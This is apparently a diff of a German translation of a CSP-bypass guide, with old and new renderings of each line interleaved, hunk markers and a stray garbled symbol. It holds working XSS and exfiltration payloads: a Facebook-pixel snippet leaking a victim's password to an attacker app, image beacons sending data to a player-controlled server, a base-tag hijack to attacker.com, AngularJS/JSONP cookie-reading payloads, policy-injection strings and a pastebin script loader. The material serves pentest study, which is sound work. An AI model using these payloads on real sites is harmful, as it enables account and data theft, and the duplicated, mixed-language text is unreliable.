Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch Weiterleitungen vertrauenswürdig sind.
Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpoint ein Open Redirect enthält**, denn wenn der ursprüngliche Endpoint vertraut wird, sind auch Redirects vertrauenswürdig.
### Missbrauch durch Dritte
### Missbrauch durch Drittanbieter
Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Drittanbieter-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:
Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Drittanbieter-Domains, die in der CSP erlaubt sein könnten und dazu missbraucht werden können, entweder Daten zu exfiltrate oder JavaScript code auszuführen. Einige dieser Drittanbieter sind:
| Entity | Erlaubte Domain | Fähigkeiten |
| Anbieter | Erlaubte Domain | Fähigkeiten |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
@ -307,7 +306,7 @@ Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.
Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, ist die Wahrscheinlichkeit hoch, dass Sie den CSP umgehen können, indem Sie sich beim Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrate oder JavaScript code ausführen.
Zum Beispiel, wenn Sie die folgende CSP finden:
```
@ -317,41 +316,41 @@ oder
```
Content-Security-Policy: connect-src www.facebook.com;
```
Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gemacht wurde. In diesem Fall folgen Sie diesen allgemeinen Schritten:
Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es schon immer mit [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gemacht wurde. In diesem Fall folgen Sie diesen allgemeinen Schritten:
1. Erstellen Sie hier ein Facebook-Entwicklerkonto.
1. Erstellen Sie hier ein Facebook Developer account.
2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
3. Gehen Sie zu "Einstellungen -> Grundlegend" und holen Sie sich Ihre "App-ID".
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" durch ein "customEvent" und die Datenlast exfiltrieren.
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL ähnlich wie dieser gefunden werden könnte: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
3. Gehen Sie zu "Settings -> Basic" und holen Sie Ihre "App ID"
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten exfiltrieren, indem Sie direkt das Facebook SDK-Gadget "fbq" über ein "customEvent" und die data payload verwenden.
5. Gehen Sie zu Ihrer App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event Manager unter einer URL ähnlich wie dieser zu finden sein kann: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Wählen Sie den Tab "Test Events", um die von Ihrer Website gesendeten Events zu sehen.
Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Angreifers im Facebook-Entwicklerkonto zeigt, und um ein benutzerdefiniertes Ereignis wie folgt auszulösen:
Dann führen Sie auf der Opferseite den folgenden Code aus, um das Facebook tracking pixel so zu initialisieren, dass es auf die App-ID des Angreifers in dessen Facebook Developer account zeigt, und ein custom event auszulösen, wie folgt:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, wie Sie diese missbrauchen können. Siehe den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
Was die anderen sieben Drittanbieter-Domains aus der vorherigen Tabelle betrifft, gibt es viele weitere Möglichkeiten, wie du sie missbrauchen kannst. Siehe den zuvor [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Missbräuchen von Drittanbietern.
### Bypass über RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Neben der oben genannten Umleitung, um Pfadbeschränkungen zu umgehen, gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
Zusätzlich zu der oben erwähnten Umleitung zum Umgehen von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
Wenn CSP beispielsweise den Pfad `https://example.com/scripts/react/` erlaubt, kann er wie folgt umgangen werden:
For example, if CSP allows the path `https://example.com/scripts/react/`, it can be bypassed as follows:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Der Browser wird letztendlich `https://example.com/scripts/angular/angular.js` laden.
Dies funktioniert, weil der Browser eine Datei mit dem Namen `..%2fangular%2fangular.js` lädt, die sich unter `https://example.com/scripts/react/` befindet, was mit CSP konform ist.
Das funktioniert, weil der Browser eine Datei mit dem Namen `..%2fangular%2fangular.js` lädt, die sich unter `https://example.com/scripts/react/` befindet, was mit der CSP konform ist.
∑, sie werden es dekodieren und effektiv `https://example.com/scripts/react/../angular/angular.js` anfordern, was gleichwertig ist mit `https://example.com/scripts/angular/angular.js`.
Dadurch dekodiert er sie und fordert effektiv `https://example.com/scripts/react/../angular/angular.js` an, was äquivalent zu `https://example.com/scripts/angular/angular.js` ist.
Durch **Ausnutzen dieser Inkonsistenz in der URL-Interpretation zwischen dem Browser und dem Server können die Pfadregeln umgangen werden**.
Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen dem Browser und dem Server sicherzustellen und dieses Problem zu vermeiden.
Die Lösung ist, `%2f` auf Serverseite nicht als `/` zu behandeln, sodass eine konsistente Interpretation zwischen Browser und Server gewährleistet ist und dieses Problem vermieden wird.
Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -364,33 +363,33 @@ Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
### fehlende **base-uri**
Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen.
Wenn die **base-uri**-Direktive fehlt, kannst du sie ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen.
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie das **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und eine XSS zu erreichen.**\
Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis.
Außerdem, wenn die **Seite ein Script mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) und einen **Nonce** verwendet, kannst du das **base** **tag** missbrauchen, damit es das Script **lädt** von **deinem eigenen Server und so XSS ermöglicht.**\
Wenn die verwundbare Seite mit **httpS** geladen wird, verwende in der base eine httpS-URL.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS-Ereignisse
Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Objektarray enthält, das in der Ausführungskette des Ereignisses beteiligt ist, wobei das `window`-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken.
Eine spezifische Richtlinie namens Content Security Policy (CSP) kann JavaScript-Ereignisse einschränken. Nichtsdestotrotz führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein spezielles Objekt `$event` bereit, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Besonders in Chrome besitzt das `$event/event`-Objekt ein `path`-Attribut, das ein Array von Objekten enthält, die an der Ausführungskette des Ereignisses beteiligt sind, wobei das `window`-Objekt stets am Ende steht. Diese Struktur ist entscheidend für Sandbox-Escape-Taktiken.
Indem dieses Array an den `orderBy`-Filter weitergeleitet wird, ist es möglich, über es zu iterieren und das terminale Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der unten demonstrierte Codeausschnitt verdeutlicht diesen Prozess:
Indem dieses Array an den `orderBy`-Filter übergeben wird, ist es möglich, darüber zu iterieren und das letzte Element (das `window`-Objekt) zu verwenden, um eine globale Funktion wie `alert()` auszulösen. Der unten gezeigte Codeausschnitt veranschaulicht diesen Vorgang:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Dieser Ausschnitt hebt die Verwendung der `ng-focus`-Direktive hervor, um das Ereignis auszulösen, wobei `$event.path|orderBy` verwendet wird, um das `path`-Array zu manipulieren, und das `window`-Objekt genutzt wird, um die `alert()`-Funktion auszuführen, wodurch `document.cookie` offengelegt wird.
Dieses Snippet hebt die Verwendung der Direktive `ng-focus` hervor, um das Event auszulösen, dabei `$event.path|orderBy` einzusetzen, um das `path`-Array zu manipulieren, und das `window`-Objekt zu nutzen, um die Funktion `alert()` auszuführen und so `document.cookie` offenzulegen.
**Finde andere Angular-Bypässe in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Weitere Angular bypasses finden Sie in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS und genehmigte Domain
### AngularJS und whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Eine CSP-Richtlinie, die Domains für das Laden von Skripten in einer Angular JS-Anwendung auf die Whitelist setzt, kann durch die Ausführung von Callback-Funktionen und bestimmten anfälligen Klassen umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem detaillierten Leitfaden, der in diesem [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) verfügbar ist.
Eine CSP-Policy, die Domains für das Laden von Scripts in einer Angular JS-Anwendung auf eine Whitelist setzt, kann durch das Aufrufen von callback functions und bestimmten vulnerable classes umgangen werden. Weitere Informationen zu dieser Technik finden sich in einem ausführlichen Guide in diesem [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Funktionierende Payloads:
Funktionierende payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -398,13 +397,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Andere JSONP beliebige Ausführung Endpunkte können [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) gefunden werden (einige von ihnen wurden gelöscht oder behoben)
Weitere JSONP arbitrary execution endpoints sind in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) zu finden (einige von ihnen wurden gelöscht oder behoben)
### Umgehung durch Umleitung
### Umgehung durch Weiterleitung
Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einem anderen Ursprung führt, der nicht erlaubt ist, wird sie weiterhin fehlschlagen.
Was passiert, wenn CSP auf eine serverseitige Weiterleitung trifft? Wenn die Weiterleitung zu einer anderen Origin führt, die nicht erlaubt ist, schlägt sie trotzdem fehl.
Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung jedoch die ursprünglichen Einschränkungen umgehen, wenn sie zu einem anderen Pfad führt.
Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann eine Weiterleitung, die zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.
Hier ist ein Beispiel:
```html
@ -424,25 +423,25 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl die Skripte `/test` als auch `/a/test` von CSP blockiert, da der Pfad berücksichtigt wird.
Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden, da der Pfad berücksichtigt wird, sowohl die Skripte `/test` als auch `/a/test` von CSP blockiert.
Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig auf `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
Das finale `http://localhost:5555/301` wird jedoch **auf der Serverseite zu `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Weiterleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, weiterhin umgangen.
Durch diese Weiterleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, dieser weiterhin umgangen.
Daher ist die beste Lösung, sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.
Daher ist die beste Lösung sicherzustellen, dass die Website keine open redirect vulnerabilities aufweist und dass in den CSP-Regeln keine Domains enthalten sind, die ausgenutzt werden können.
### Bypass CSP mit schwebendem Markup
### Bypass CSP with dangling markup
Lies [wie hier](../dangling-markup-html-scriptless-injection/index.html).
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; über XSS
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` bedeutet, dass Sie jedes Skript im Code ausführen können (XSS kann Code ausführen) und `img-src *` bedeutet, dass Sie auf der Webseite jedes Bild aus jeder Quelle verwenden können.
`'unsafe-inline'` bedeutet, dass du beliebige Skripte im Code ausführen kannst (XSS kann Code ausführen) und `img-src *` bedeutet, dass du auf der Webseite jedes Bild von beliebigen Ressourcen verwenden kannst.
Sie können diese CSP umgehen, indem Sie die Daten über Bilder exfiltrieren (in diesem Fall missbraucht das XSS eine CSRF, bei der eine vom Bot zugängliche Seite eine SQLi enthält, und das Flag über ein Bild extrahiert wird):
Du kannst diese CSP umgehen, indem du die Daten über Bilder exfiltrierst (in diesem Fall missbraucht das XSS ein CSRF, bei dem eine vom bot erreichbare Seite eine SQLi enthält, und das Flag über ein Bild extrahiert):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -451,12 +450,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild** **erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild** **lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Du könntest diese Konfiguration auch missbrauchen, um **in ein Bild eingebetteten javascript code zu laden**. Wenn die Seite zum Beispiel das Laden von Bildern von Twitter erlaubt, könntest du ein **spezielles Bild** **erstellen**, es zu Twitter **hochladen** und das "**unsafe-inline**" missbrauchen, um einen JS-Code (wie bei einem normalen XSS) zu **ausführen**, der das **Bild** **lädt**, das **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Mit Service Workern
Die Funktion **`importScripts`** von Service Workern ist nicht durch CSP eingeschränkt:
### Mit Service Workers
Die **`importScripts`**-Funktion von Service workers ist nicht durch CSP eingeschränkt:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
@ -464,29 +462,29 @@ Die Funktion **`importScripts`** von Service Workern ist nicht durch CSP eingesc
### Policy Injection
**Forschung:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Wenn ein **Parameter**, der von Ihnen gesendet wird, in die **Deklaration** der **Richtlinie** **eingefügt** wird, könnten Sie die **Richtlinie** auf eine Weise **ändern**, die sie **nutzlos** macht. Sie könnten **Script 'unsafe-inline'** mit einem dieser Umgehungen **erlauben**:
Wenn ein von dir gesendeter **Parameter** in die **Deklaration** der **Policy** eingefügt wird, könntest du die **Policy** so **ändern**, dass sie **nutzlos** wird. Du könntest **allow script 'unsafe-inline'** mit einem dieser Bypässe erlauben:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Weil diese Direktive **bestehende script-src-Direktiven überschreibt**.\
Ein Beispiel finden Sie hier: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
Weil diese Direktive bestehende script-src directives **überschreibt**.\
Ein Beispiel findest du hier: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
In Edge ist es viel einfacher. Wenn Sie in der CSP nur dies hinzufügen können: **`;_`** **Edge** würde die gesamte **Richtlinie** **fallen lassen**.\
In Edge ist es viel einfacher. Wenn du in die CSP nur dies hinzufügen kannst: **`;_`** würde **Edge** die gesamte **policy** verwerfen.\
Beispiel: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Zeitangriff
### img-src \*; via XSS (iframe) - Time attack
Beachten Sie das Fehlen der Direktive `'unsafe-inline'`\
Diesmal können Sie das Opfer **eine Seite laden** lassen, die **unter Ihrer Kontrolle** steht, über **XSS** mit einem `<iframe`. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen.
Beachte das Fehlen der Direktive `'unsafe-inline'`\
Diesmal kannst du das Opfer dazu bringen, über **XSS** mit einem `<iframe` eine von dir kontrollierte Seite zu **laden**. Diesmal bringst du das Opfer dazu, die Seite aufzurufen, von der du Informationen extrahieren möchtest (**CSRF**). Du kannst nicht auf den Inhalt der Seite zugreifen, aber wenn du irgendwie **die Ladezeit der Seite kontrollieren** kannst, kannst du die benötigten Informationen extrahieren.
Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird** über SQLi, dauert die **Antwort** **länger** aufgrund der Schlaf-Funktion. Dann werden Sie in der Lage sein, das Flag zu extrahieren:
Dieses Mal wird ein **flag** extrahiert: jedes Mal, wenn ein **char korrekt geraten** wird via SQLi, braucht die **response** aufgrund der sleep function **mehr Zeit**. Dann wirst du in der Lage sein, das flag zu extrahieren:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -546,24 +544,24 @@ console.log(prefix)
run()
</script>
```
### Via Bookmarklets
### Über Bookmarklets
Dieser Angriff würde einige soziale Ingenieurkunst erfordern, bei der der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.
Dieser Angriff setzt Social Engineering voraus, bei dem der Angreifer den Benutzer **dazu bringt, einen Link über das Bookmarklet des Browsers zu drag\&dropped**. Dieses Bookmarklet würde **malicious javascript** Code enthalten, der beim drag\&dropped oder Anklicken im Kontext des aktuellen Webfensters ausgeführt wird, dabei **bypassing CSP und das Entwenden sensibler Informationen ermöglicht**, wie z. B. Cookies oder Tokens.
Für weitere Informationen [**prüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP-Bypass durch Einschränkung von CSP
### CSP-Bypass durch Einschränkung der CSP
In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über **Prototype Pollution** oder **DOM Clobbering** es ermöglichte, **ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden**.
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verhindert, welche dann via **prototype pollution** oder **dom clobbering** ausgenutzt wurde, um **ein anderes Script zu missbrauchen, um ein beliebiges Script zu laden**.
Sie können **eine CSP eines Iframes** mit dem **`csp`**-Attribut einschränken:
Sie können mit dem **`csp`**-Attribut **die CSP eines Iframe einschränken**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\
CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der ihren **Nonce** zulässt, und **bestimmte Inline-Skripte über sha aktiviert** werden:
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), war es möglich, via **HTML injection** die **CSP** stärker zu **einschränken**, sodass ein Script, das CSTI verhindert, deaktiviert wurde und dadurch die **vulnerability became exploitable.**\
CSP kann mithilfe von **HTML meta tags** restriktiver gemacht werden und inline scripts können deaktiviert werden, indem man den **Eintrag** entfernt, der deren **nonce** erlaubt, und spezifische inline scripts per **sha** erlaubt:
```html
<meta
http-equiv="Content-Security-Policy"
@ -572,51 +570,69 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS-Exfiltration mit Content-Security-Policy-Report-Only
### JS exfiltration mit Content-Security-Policy-Report-Only
Wenn es Ihnen gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** mit einem **von Ihnen kontrollierten Wert** (vielleicht aufgrund eines CRLF) zu antworten, könnten Sie ihn auf Ihren Server verweisen. Wenn Sie den **JS-Inhalt**, den Sie exfiltrieren möchten, mit **`<script>`** umschließen und da höchstwahrscheinlich `unsafe-inline` von der CSP nicht erlaubt ist, wird dies einen **CSP-Fehler auslösen** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.
Wenn es dir gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, dessen **Wert von dir kontrolliert wird** (z. B. wegen eines CRLF), könntest du ihn so konfigurieren, dass er auf deinen Server zeigt. Wenn du den **JS content**, den du exfiltrieren willst, in **`<script>`** einbettest und da `unsafe-inline` sehr wahrscheinlich durch die CSP nicht erlaubt ist, wird dadurch ein **CSP-Fehler ausgelöst** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an deinen Server gesendet.
Für ein Beispiel [**sehen Sie sich diesen CTF-Bericht an**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
Als Beispiel [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Informationen mit CSP und Iframe leaken
### Leaking von Informationen mit CSP und Iframe
- Ein `iframe` wird erstellt, der auf eine URL zeigt (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist.
- Diese URL leitet dann zu einer geheimen URL weiter (z. B. `https://usersecret.example2.com`), die **nicht erlaubt** ist von CSP.
- Durch das Abhören des `securitypolicyviolation`-Ereignisses kann man die `blockedURI`-Eigenschaft erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leakt die geheime Domain, zu der die ursprüngliche URL weitergeleitet wurde.
- Ein `iframe` wird erstellt, das auf eine URL zeigt (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist.
- Diese URL leitet dann auf eine geheime URL weiter (z. B. `https://usersecret.example2.com`), die von CSP **nicht erlaubt** ist.
- Indem man auf das `securitypolicyviolation`-Event hört, kann man die `blockedURI`-Property abfangen. Diese Property offenbart die Domain der blockierten URI, leaking die geheime Domain, auf die die ursprüngliche URL weitergeleitet hat.
